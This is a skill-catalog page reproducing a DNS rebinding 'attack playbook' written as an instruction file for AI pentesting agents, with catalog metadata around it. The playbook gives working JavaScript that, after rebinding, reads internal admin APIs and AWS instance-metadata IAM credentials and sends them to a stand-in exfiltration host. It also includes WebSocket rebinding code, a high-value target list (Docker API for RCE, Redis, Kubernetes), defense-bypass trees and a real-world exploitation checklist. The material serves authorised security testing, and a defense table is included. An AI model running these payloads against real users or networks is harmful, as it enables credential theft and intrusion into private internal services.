Source profileQuality 92/100Review permissions

ok-helloworld/vibe-pentest/references/pentest_skills/dns-rebinding-attacks/SKILL.md

dns-rebinding-attacks

DNS rebinding attack playbook. Use when testing applications that trust DNS resolution for origin checks, interact with internal services from browser context, or when SSRF is not possible server-side but the target has client-side fetch/XHR to attacker-controlled domains.

Source repository stars
238
Declared platforms
0
Static risk flags
2
Last source update
2026-07-16
Source checked
2026-08-05

Decision brief

What it does—and where it fits

AI LOAD INSTRUCTION: Expert DNS rebinding techniques for bypassing same-origin policy via DNS manipulation. Covers TTL tricks, browser cache bypasses, attack variants (HTTP, WebSocket, TOCTOU), internal service targeting, and tool usage. Base models confuse DNS rebinding with SS…

Best for

  • Use when testing applications that trust DNS resolution for origin checks, interact with internal services from browser context, or when SSRF is not possible server-side but the target has client-side fetch/XHR to attac…

Not for

  • Tasks that require unconfirmed production actions or broad system permissions.
  • Environments where the pinned source and install steps cannot be inspected.

Compatibility matrix

Platform support, with evidence labels

PlatformStatusEvidenceWhat to check
CodexNot declaredNo explicit evidencePortability before use
Claude CodeNot declaredNo explicit evidencePortability before use
CursorNot declaredNo explicit evidencePortability before use
Gemini CLINot declaredNo explicit evidencePortability before use
Open the compatibility checker

Installation

Inspect first. Install second.

The source command is displayed only when detected. A safe inspection prompt is always available so your agent can explain every action before execution.

Source-detected install commandSource
npx skills add https://github.com/ok-helloworld/vibe-pentest --skill "references/pentest_skills/dns-rebinding-attacks"
Safe inspection promptEditorial

Inspect the Agent Skill "dns-rebinding-attacks" from https://github.com/ok-helloworld/vibe-pentest/blob/04d3a99ae3a595dcce1468faa74b66209acf20f8/references/pentest_skills/dns-rebinding-attacks/SKILL.md at commit 04d3a99ae3a595dcce1468faa74b66209acf20f8. List every install step, command, network request, credential, file read/write, external action, and rollback step. Explain whether it fits my task. Do not install or execute anything until I approve.

Workflow

What the source asks the agent to do

  1. 01

    Singularity quick start

    Review the “Singularity quick start” section in the pinned source before continuing.

    Review and apply the “Singularity quick start” source section.
  2. 02

    rbndr.us (zero-setup)

    Review the “rbndr.us (zero-setup)” section in the pinned source before continuing.

    Review and apply the “rbndr.us (zero-setup)” source section.
  3. 03

    0. RELATED ROUTING

    ssrf-server-side-request-forgery — server-side variant; DNS rebinding is the client-side counterpart

    ssrf-server-side-request-forgery — server-side variant; DNS rebinding is the client-side counterpartcors-cross-origin-misconfiguration — when CORS misconfig allows direct cross-origin reads instead- ssrf-server-side-request-forgery — server-side variant; DNS rebinding is the client-side counterpart - cors-cross-origin-misconfiguration — when CORS misconfig allows direct cross-origin reads instead
  4. 04

    1. CORE PRINCIPLE

    The browser same-origin policy binds protocol + host + port. The host is resolved via DNS at connection time. If an attacker controls the DNS server for test-attacker.com, they can:

    First resolution → attacker IP (serve malicious JS)Second resolution → internal IP (victim's network)Browser considers both responses same-origin (test-attacker.com)
  5. 05

    2. TTL MANIPULATION

    The attacker runs an authoritative DNS server for their domain that alternates responses:

    The attacker runs an authoritative DNS server for their domain that alternates responses:TTL=0 tells resolvers not to cache the result, forcing re-resolution on next connection.Browsers maintain their own DNS cache that ignores low TTLs:

Permission review

Static risk signals and limitations

Network access

medium · line 102

The documentation includes network, browsing, or remote request actions.

const resp = await fetch('http://test-attacker.com:8080/api/admin/users');

Network access

medium · line 106

The documentation includes network, browsing, or remote request actions.

navigator.sendBeacon('https://exfil.test-attacker.com/log', data);

Runs scripts

medium · line 206

The documentation asks the agent to run terminal commands or scripts.

git clone https://github.com/nccgroup/singularity

Runs scripts

medium · line 208

The documentation asks the agent to run terminal commands or scripts.

go build -o singularity cmd/singularity-server/main.go

Evidence record

Why each signal appears

EvidenceSourceComputedTestedEditorial
SignalValueEvidence typeMeaning
Quality score92/100ComputedDocumentation, specificity, maintenance, and trust rules
Repository stars238SourceRepository attention, not individual Skill quality
Compatibility0 platformsSourceDeclared in the catalog source record
Usage guideautomated source guideEditorialGenerated or reviewed according to the visible evidence level

Pinned source

Provenance and original SKILL.md

Repository
ok-helloworld/vibe-pentest
Skill path
references/pentest_skills/dns-rebinding-attacks/SKILL.md
Commit
04d3a99ae3a595dcce1468faa74b66209acf20f8
License
AGPL-3.0
Collected
2026-08-05
Default branch
main
View the original SKILL.md

SKILL: DNS Rebinding — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert DNS rebinding techniques for bypassing same-origin policy via DNS manipulation. Covers TTL tricks, browser cache bypasses, attack variants (HTTP, WebSocket, TOCTOU), internal service targeting, and tool usage. Base models confuse DNS rebinding with SSRF — this skill clarifies the client-side nature and unique exploit paths.

0. RELATED ROUTING


1. CORE PRINCIPLE

The browser same-origin policy binds protocol + host + port. The host is resolved via DNS at connection time. If an attacker controls the DNS server for test-attacker.com, they can:

  1. First resolution → attacker IP (serve malicious JS)
  2. Second resolution → internal IP (victim's network)
  3. Browser considers both responses same-origin (test-attacker.com)
  4. Malicious JS reads responses from internal services
Victim visits test-attacker.com
        │
        ▼
DNS query: test-attacker.com → 1.2.3.4 (attacker server)
Browser loads malicious JS from 1.2.3.4
        │
        ▼
TTL expires (or forced flush)
        │
        ▼
JS triggers new request to test-attacker.com
DNS query: test-attacker.com → 192.168.1.1 (internal target)
Browser sends request to 192.168.1.1 as "test-attacker.com" origin
        │
        ▼
JS reads response — same-origin policy satisfied
Exfiltrates data to attacker's other endpoint

Key insight: SOP checks the hostname string, not the resolved IP. DNS can change the IP behind the same hostname.


2. TTL MANIPULATION

DNS server configuration

The attacker runs an authoritative DNS server for their domain that alternates responses:

Query #ResponseTTL
1stAttacker IP (e.g., 1.2.3.4)0
2nd+Target internal IP (e.g., 192.168.1.1)0

TTL=0 tells resolvers not to cache the result, forcing re-resolution on next connection.

Browser DNS cache reality

Browsers maintain their own DNS cache that ignores low TTLs:

BrowserInternal DNS CacheBypass Technique
Chrome~60 seconds minimumWait 60s; or use multiple subdomains
Firefox~60 seconds (network.dnsCacheExpiration)Adjustable in about:config
Safari~variesGenerally shorter cache
Edge (Chromium)Same as Chrome (~60s)Same techniques as Chrome

Bypass strategies

1. Multiple A records technique:
   - Return BOTH attacker IP and target IP in single DNS response
   - Browser tries first IP; if connection fails → falls back to second
   - Block attacker IP after initial page load → forces fallback to internal IP
   
2. Subdomain flooding:
   - Use unique subdomains: a1.rebind.test-attacker.com, a2.rebind.test-attacker.com...
   - Each subdomain gets fresh DNS resolution (no cache hit)
   
3. Service worker flush:
   - Register service worker that intercepts and delays requests
   - By the time fetch executes, DNS cache has expired

3. ATTACK VARIANTS

3.1 Classic HTTP Rebinding

Target: internal web services (admin panels, REST APIs)

// Served from test-attacker.com (first DNS resolution → attacker IP)
async function exploit() {
    // Wait for DNS cache to expire
    await sleep(65000); // >60s for Chrome
    
    // This request now resolves to internal IP
    const resp = await fetch('http://test-attacker.com:8080/api/admin/users');
    const data = await resp.text();
    
    // Exfiltrate to different attacker endpoint
    navigator.sendBeacon('https://exfil.test-attacker.com/log', data);
}

3.2 WebSocket Rebinding

WebSocket connections persist after DNS rebinding. Establish WS, then rebind:

// After rebinding, WebSocket connects to internal service
const ws = new WebSocket('ws://test-attacker.com:9090/ws');
ws.onopen = () => {
    ws.send('{"action":"dump_config"}');
};
ws.onmessage = (e) => {
    fetch('https://exfil.test-attacker.com/ws-data', {
        method: 'POST',
        body: e.data
    });
};

3.3 Time-of-Check-to-Time-of-Use (TOCTOU)

Server-side applications that validate DNS at request time but reuse the connection:

1. Application receives URL: http://test-attacker.com/callback
2. Server resolves test-attacker.com → 1.2.3.4 (public IP) → passes validation
3. Server opens connection / follows redirect
4. DNS changes: test-attacker.com → 169.254.169.254
5. Connection reuse or redirect hits internal IP

This is a hybrid with SSRF — the rebinding happens in the server's resolver.

3.4 Multiple A Records (Fastest Variant)

DNS response for test-attacker.com:
  A  1.2.3.4       (attacker — serves JS)
  A  192.168.1.1   (target — internal service)
  
1. Browser connects to 1.2.3.4, loads page with JS
2. Attacker firewall blocks further connections from victim to 1.2.3.4
3. JS makes new request to test-attacker.com
4. Browser tries 1.2.3.4 → connection refused
5. Falls back to 192.168.1.1 → still same origin
6. Response readable by JS

4. HIGH-VALUE TARGETS

TargetPortWhy
Cloud metadata169.254.169.254:80AWS/GCP/Azure instance credentials, tokens
Docker API172.17.0.1:2375Container creation, host filesystem mount → RCE
Kubernetes API10.96.0.1:443/6443Pod creation, secret reading
Internal admin panelsVariousRouter config, NAS, printer, SCADA
IoT devices192.168.x.x:80/443Camera feeds, smart home control
Elasticsearch*:9200Data exfiltration, index manipulation
Redis*:6379Data read, config set for RCE
Consul/etcd*:8500/2379Service discovery, secret storage

Cloud metadata specific

// AWS metadata via rebinding
fetch('http://test-attacker.com/latest/meta-data/iam/security-credentials/')
    .then(r => r.text())
    .then(role => {
        return fetch(`http://test-attacker.com/latest/meta-data/iam/security-credentials/${role}`);
    })
    .then(r => r.json())
    .then(creds => {
        navigator.sendBeacon('https://exfil.test-attacker.com/', JSON.stringify(creds));
    });
// After rebinding, test-attacker.com resolves to 169.254.169.254
// Browser sends Host: test-attacker.com but IMDSv1 doesn't check Host header

IMDSv2 defense: requires X-aws-ec2-metadata-token header from PUT request. Rebinding cannot easily set custom headers on the initial token request in no-cors mode.


5. TOOLS

ToolPurposeURL
SingularityFull DNS rebinding attack frameworkgithub.com/nccgroup/singularity
rbndr.usQuick rebind DNS service (IP pair in subdomain)rbndr.us
whonowDynamic DNS rebinding servergithub.com/taviso/whonow
dnsrebinderMinimal Python DNS server for rebindingCustom / various repos

Singularity quick start

# Clone and run
git clone https://github.com/nccgroup/singularity
cd singularity
go build -o singularity cmd/singularity-server/main.go

# Start with rebind from attacker IP to target IP
./singularity -DNSRebindStrategy round-robin \
    -ResponseIPAddr 1.2.3.4 \
    -RebindingFn sequential \
    -ResponseReboundIPAddr 192.168.1.1

rbndr.us (zero-setup)

Format: <hex-ip1>.<hex-ip2>.rbndr.us
Example: 7f000001.c0a80101.rbndr.us
  → alternates between 127.0.0.1 and 192.168.1.1
  
Convert IP to hex:
  192.168.1.1 → c0.a8.01.01 → c0a80101
  127.0.0.1   → 7f.00.00.01 → 7f000001

6. DNS REBINDING vs. SSRF

AspectDNS RebindingSSRF
Execution contextClient-side (browser)Server-side
Origin bypassSame-origin policyNetwork access controls
Attacker controlsDNS resolutionURL/request sent by server
RequiresVictim visits attacker pageVulnerable server-side fetch
Internal access viaBrowser on victim's networkServer's network position
Credential inclusionBrowser cookies auto-includedNo user credentials
Protocol supportHTTP/WS (browser-limited)Any protocol (gopher, file, etc.)

Critical difference: DNS rebinding leverages the victim's browser as the pivot point, so it accesses services visible from the victim's network, with the victim's cookies/credentials.


7. DEFENSES AND DEFENSE BYPASS

Common defenses

DefenseHow it works
DNS pinningBrowser/resolver caches DNS and refuses re-resolution
Host header validationServer rejects requests with unexpected Host header
Network segmentationInternal services not reachable from browser network
Private network access (PNA)Chrome's proposal: preflight for requests to private IPs
Authentication on internal servicesInternal services require auth, not just network access

Defense bypass techniques

DNS pinning bypass:
├── Multiple A records → connection failure forces fallback
├── Subdomain per request → no cache hit
├── Wait for cache expiry (Chrome: 60s)
└── Rebind via CNAME chain (harder to pin)

Host header validation bypass:
├── Internal service may not check Host header at all
├── Host: test-attacker.com accepted by default configs
├── IP-based vhosts don't check Host
└── Wildcard vhost configurations

Private Network Access (PNA) bypass:
├── PNA only in Chrome (as of 2024), partial enforcement
├── WebSocket connections may not trigger preflight
├── HTTPS → HTTP downgrade scenarios
└── Non-browser clients unaffected

8. DECISION TREE

Want to access internal services from victim's browser?
│
├── Can you get victim to visit your page?
│   ├── YES → DNS rebinding is viable
│   │   │
│   │   ├── What is the target?
│   │   │   ├── HTTP service → Classic rebinding (Section 3.1)
│   │   │   ├── WebSocket service → WS rebinding (Section 3.2)
│   │   │   └── Cloud metadata → Metadata exfil (Section 4)
│   │   │
│   │   ├── Browser cache concern?
│   │   │   ├── Chrome → Wait 60s or use multiple subdomains
│   │   │   ├── Firefox → Wait 60s or adjust dnsCacheExpiration
│   │   │   └── Use multiple A records technique for instant rebind
│   │   │
│   │   ├── Target checks Host header?
│   │   │   ├── YES → Rebinding alone won't work
│   │   │   │   └── Check for SSRF instead (../ssrf-server-side-request-forgery/)
│   │   │   └── NO → Proceed with rebinding
│   │   │
│   │   └── Need credentials?
│   │       ├── Browser auto-sends cookies → works if same-site allows
│   │       └── Custom auth header needed → limited (no-cors won't send custom headers)
│   │
│   └── NO → DNS rebinding not applicable
│       └── Consider SSRF if server-side fetch exists
│
└── Is this server-side DNS validation bypass? (TOCTOU)
    ├── YES → Hybrid approach (Section 3.3)
    │   └── SSRF with DNS rebinding for IP validation bypass
    └── NO → Review ../ssrf-server-side-request-forgery/ instead

9. REAL-WORLD EXPLOITATION CHECKLIST

□ Set up DNS rebinding infrastructure (Singularity / rbndr.us / custom)
□ Identify target internal services (port scan from victim context if possible)
□ Determine browser DNS cache duration for target browser
□ Choose rebinding variant (classic / multi-A / subdomain flood)
□ Test with benign internal endpoint first (e.g., / on router)
□ Verify same-origin read works after rebind
□ Escalate: cloud metadata → creds, Docker API → RCE, admin panels → config
□ Document: test-attacker.com DNS config, JS payload, rebind timing, exfil data

Alternatives

Compare before choosing

Computed 10043,034

coreyhaines31/marketingskills

ab-testing

When the user wants to plan, design, or implement an A/B test or experiment, or build a growth experimentation program. Also use when the user mentions "A/B test," "split test," "experiment," "test this change," "variant copy," "multivariate test," "hypothesis," "should I test this," "which version is better," "test two versions," "statistical significance," "how long should I run this test," "growth experiments," "experiment velocity," "experiment backlog," "ICE score," "experimentation program

Computed 10023,835

alirezarezvani/claude-skills

app-store-optimization

App Store Optimization (ASO) toolkit for researching keywords, analyzing competitor rankings, generating metadata suggestions, and improving app visibility on Apple App Store and Google Play Store. Use when the user asks about ASO, app store rankings, app metadata, app titles and descriptions, app store listings, app visibility, or mobile app marketing on iOS or Android. Supports keyword research and scoring, competitor keyword analysis, metadata optimization, A/B test planning, launch checklist

Computed 10014,533

prowler-cloud/prowler

postgresql-indexing

PostgreSQL indexing best practices for Prowler: index design, partial indexes, partitioned table indexing, EXPLAIN ANALYZE validation, concurrent operations, monitoring, and maintenance. Trigger: When creating or modifying PostgreSQL indexes, analyzing query performance with EXPLAIN, debugging slow queries, reviewing index usage statistics, reindexing, dropping indexes, or working with partitioned table indexes. Also trigger when discussing index strategies, partial indexes, or index maintenance

Computed 1004,944

dotnet/skills

migrate-vstest-to-mtp

Migrates .NET test projects from VSTest to Microsoft.Testing.Platform (MTP). Use when user asks to "migrate to MTP", "switch from VSTest", "enable Microsoft.Testing.Platform", "use MTP runner", set OutputType=Exe only for test projects in Directory.Build.props, or mentions EnableMSTestRunner, EnableNUnitRunner, or UseMicrosoftTestingPlatformRunner. USE FOR: MTP behavioral differences vs VSTest (exit code 8, zero tests discovered, --ignore-exit-code, TESTINGPLATFORM_EXITCODE_IGNORE); centralizing